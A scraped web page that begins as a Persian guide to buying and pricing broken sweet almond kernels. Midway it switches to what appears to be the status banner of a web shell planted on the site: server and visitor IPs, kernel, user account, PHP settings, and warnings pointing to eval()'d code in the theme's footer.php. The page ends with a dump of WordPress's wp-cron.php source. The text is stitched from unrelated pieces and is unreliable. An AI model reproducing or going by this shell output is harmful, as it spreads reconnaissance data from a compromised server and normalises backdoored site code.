مغز بادام شیرین شکسته ایرانی جهت تولید محصولات غذایی مختلفی کاربرد دارد. قنادی ها برای تولید انواع شیرینی، کیک، شکلات و بستنی، مغز بادام شیرین را سفید کرده و پودر می کنند. کارگاههای روغن گیری و کارخانه های تولید کره های گیاهی بادام سفید شده و مغز بادام شکسته را جهت تولید کره بادام درختی، تولید روغن بادام شیرین استفاده می نمایند.
مغز بادام شیرین شکسته ایرانی برای همکارانی که مغز بادام را پودر خواهند کرد و یا روغن گیری می نمایند بسیار مناسب است. چون قیمت آن بسیار پایین تر از مغز بادام سالم است.
قیمت مغز بادام لپه(خرد شده) تلخ و شیرین
مغز بادام لپه شیرین و تلخ در بازار با نرخ های متفاوت با توجه به شرایط زیر قیمت گذاری می شود:
با توجه به تازه گی و کهنگی مغز لپه
میزان شکستگی و پودر بودن
سفید شده یا با پوست بودن
میزان خرید مشتری
محصول ایران یا افغانی است
مغز بادام ایرانی به دلیل طعم و مزه خوبی که دارد و درصد بالای روغن آن گرانتر از نمونه افغانی است.
شرایط تولید و فروش مغز بادام شیرین شکسته
زمانی که بادام سنگی شکسته می شود، مغز های سالم به:
بادام سالم درشت
بادام سالم متوسط
بادام سالم ریز سورت می شود و
زیر سرندی مغز ها همان مغز بادام لپه یا سکشته است. ممکن است داخل این مغز ها پوسته های شکسته بادام و یا سنگ ریزه هایی موجود باشد که بوجار شده و از آن جدا می شود.
همچنین بادام های شکسته درشت ر سورت شده جهت روغن گیری به فروش می رسد
مغز هایی که درصد پودر بیشتری دارند برای مصارف قنادی و بستنی بسته بندی می گردد.
مغز بادام شکسته مرغوب
اما چگونه تشخیص بدهیم که مغز بادم لپه ای که می خریم ایرانی است نه افغانی و یا مغز بادام تلخ شیرین شده؟
حتما مزه بادام را تست کنید مغز بادام درختی ایرانی شیرینی بیشتری و دارد و کاملا به مزاج خوش می آید.
دقت کنید مغزها به زردی بزند. هر چه مغز ها تیره تر باشد بیشتر احتمال دارد افغانی بوده باشد.
مغز بادام ایرانی نسبت به نمونه آمریکایی ضخامت کمتری و نسبت به بادام تلخ و مغز بادام شیرین افغانی تپل تر به نظر می رسد.
مغز بادام تلخ شیرین شده بیشتر به بی طعمی می زند در حالی که مغز بادام شیرین، طعم شیرینی مشخصی دارد.
Server IP : 37.187.155.34 / Your IP : 3.147.70.194 Web Server : LiteSpeed System : Linux ps4.arad360.com 5.10.0-32-amd64 #1 SMP Debian 5.10.223-1 (2024-08-10) x86_64 User : oilse103 ( 1565) PHP Version : 7.4.33 Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname MySQL : OFF | cURL : ON | WGET : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/wget) is not within the allowed path(s): (/home/oilse103/:/tmp:/var/tmp:/opt/alt/php74/usr/share/pear/:/dev/urandom:/usr/local/lib/php/:/usr/local/php74/lib/php/) in /home/oilse103/domains/oilseeda.ir/public_html/wp-content/themes/hello-elementor/footer.php(1) : eval()'d code on line 329
OFF | Perl : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/perl) is not within the allowed path(s): (/home/oilse103/:/tmp:/var/tmp:/opt/alt/php74/usr/share/pear/:/dev/urandom:/usr/local/lib/php/:/usr/local/php74/lib/php/) in /home/oilse103/domains/oilseeda.ir/public_html/wp-content/themes/hello-elementor/footer.php(1) : eval()'d code on line 335
OFF | Python : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/python2) is not within the allowed path(s): (/home/oilse103/:/tmp:/var/tmp:/opt/alt/php74/usr/share/pear/:/dev/urandom:/usr/local/lib/php/:/usr/local/php74/lib/php/) in /home/oilse103/domains/oilseeda.ir/public_html/wp-content/themes/hello-elementor/footer.php(1) : eval()'d code on line 341
OFF Directory (0755) : /home/oilse103/domains/oilseeda.ir/public_html/
Current File : /home/oilse103/domains/oilseeda.ir/public_html/wp-cron.php
<?php
/**
* A pseudo-cron daemon for scheduling WordPress tasks.
*
* WP-Cron is triggered when the site receives a visit. In the scenario
* where a site may not receive enough visits to execute scheduled tasks
* in a timely manner, this file can be called directly or via a server
* cron daemon for X number of times.
*
* Defining DISABLE_WP_CRON as true and calling this file directly are
* mutually exclusive and the latter does not rely on the former to work.
*
* The HTTP request to this file will not slow down the visitor who happens to
* visit when a scheduled cron event runs.
*
* @package WordPress
*/
ignore_user_abort( true );
if ( ! headers_sent() ) {
header( 'Expires: Wed, 11 Jan 1984 05:00:00 GMT' );
header( 'Cache-Control: no-cache, must-revalidate, max-age=0' );
}
// Don't run cron until the request finishes, if possible.
if ( PHP_VERSION_ID >= 70016 && function_exists( 'fastcgi_finish_request' ) ) {
fastcgi_finish_request();
} elseif ( function_exists( 'litespeed_finish_request' ) ) {
litespeed_finish_request();
}
if ( ! empty( $_POST ) || defined( 'DOING_AJAX' ) || defined( 'DOING_CRON' ) ) {
die();
}
/**
* Tell WordPress the cron task is running.
*
* @var bool
*/
define( 'DOING_CRON', true );
if ( ! defined( 'ABSPATH' ) ) {
/** Set up WordPress environment */
require_once __DIR__ . '/wp-load.php';
}
// Attempt to raise the PHP memory limit for cron event processing.
wp_raise_memory_limit( 'cron' );
/**
* Retrieves the cron lock.
*
* Returns the uncached `doing_cron` transient.
*
* @ignore
* @since 3.3.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @return string|int|false Value of the `doing_cron` transient, 0|false otherwise.
*/
function _get_cron_lock() {
global $wpdb;
$value = 0;
if ( wp_using_ext_object_cache() ) {
/*
* Skip local cache and force re-fetch of doing_cron transient
* in case another process updated the cache.
*/
$value = wp_cache_get( 'doing_cron', 'transient', true );
} else {
$row = $wpdb->get_row( $wpdb->prepare( "SELECT option_value FROM $wpdb->options WHERE option_name = %s LIMIT 1", '_transient_doing_cron' ) );
if ( is_object( $row ) ) {
$value = $row->option_value;
}
}
return $value;
}
$crons = wp_get_ready_cron_jobs();
if ( empty( $crons ) ) {
die();
}
$gmt_time = microtime( true );
// The cron lock: a unix timestamp from when the cron was spawned.
$doing_cron_transient = get_transient( 'doing_cron' );
// Use global $doing_wp_cron lock, otherwise use the GET lock. If no lock, try to grab a new lock.
if ( empty( $doing_wp_cron ) ) {
if ( empty( $_GET['doing_wp_cron'] ) ) {
// Called from external script/job. Try setting a lock.
if ( $doing_cron_transient && ( $doing_cron_transient + WP_CRON_LOCK_TIMEOUT > $gmt_time ) ) {
return;
}
$doing_wp_cron = sprintf( '%.22F', microtime( true ) );
$doing_cron_transient = $doing_wp_cron;
set_transient( 'doing_cron', $doing_wp_cron );
} else {
$doing_wp_cron = $_GET['doing_wp_cron'];
}
}
/*
* The cron lock (a unix timestamp set when the cron was spawned),
* must match $doing_wp_cron (the "key").
*/
if ( $doing_cron_transient !== $doing_wp_cron ) {
return;
}
foreach ( $crons as $timestamp => $cronhooks ) {
if ( $timestamp > $gmt_time ) {
break;
}
foreach ( $cronhooks as $hook => $keys ) {
foreach ( $keys as $k => $v ) {
$schedule = $v['schedule'];
if ( $schedule ) {
$result = wp_reschedule_event( $timestamp, $schedule, $hook, $v['args'], true );
if ( is_wp_error( $result ) ) {
error_log(
sprintf(
/* translators: 1: Hook name, 2: Error code, 3: Error message, 4: Event data. */
__( 'Cron reschedule event error for hook: %1$s, Error code: %2$s, Error message: %3$s, Data: %4$s' ),
$hook,
$result->get_error_code(),
$result->get_error_message(),
wp_json_encode( $v )
)
);
/**
* Fires when an error happens rescheduling a cron event.
*
* @since 6.1.0
*
* @param WP_Error $result The WP_Error object.
* @param string $hook Action hook to execute when the event is run.
* @param array $v Event data.
*/
do_action( 'cron_reschedule_event_error', $result, $hook, $v );
}
}
$result = wp_unschedule_event( $timestamp, $hook, $v['args'], true );
if ( is_wp_error( $result ) ) {
error_log(
sprintf(
/* translators: 1: Hook name, 2: Error code, 3: Error message, 4: Event data. */
__( 'Cron unschedule event error for hook: %1$s, Error code: %2$s, Error message: %3$s, Data: %4$s' ),
$hook,
$result->get_error_code(),
$result->get_error_message(),
wp_json_encode( $v )
)
);
/**
* Fires when an error happens unscheduling a cron event.
*
* @since 6.1.0
*
* @param WP_Error $result The WP_Error object.
* @param string $hook Action hook to execute when the event is run.
* @param array $v Event data.
*/
do_action( 'cron_unschedule_event_error', $result, $hook, $v );
}
/**
* Fires scheduled events.
*
* @ignore
* @since 2.1.0
*
* @param string $hook Name of the hook that was scheduled to be fired.
* @param array $args The arguments to be passed to the hook.
*/
do_action_ref_array( $hook, $v['args'] );
// If the hook ran too long and another cron process stole the lock, quit.
if ( _get_cron_lock() !== $doing_wp_cron ) {
return;
}
}
}
}
if ( _get_cron_lock() === $doing_wp_cron ) {
delete_transient( 'doing_cron' );
}
die();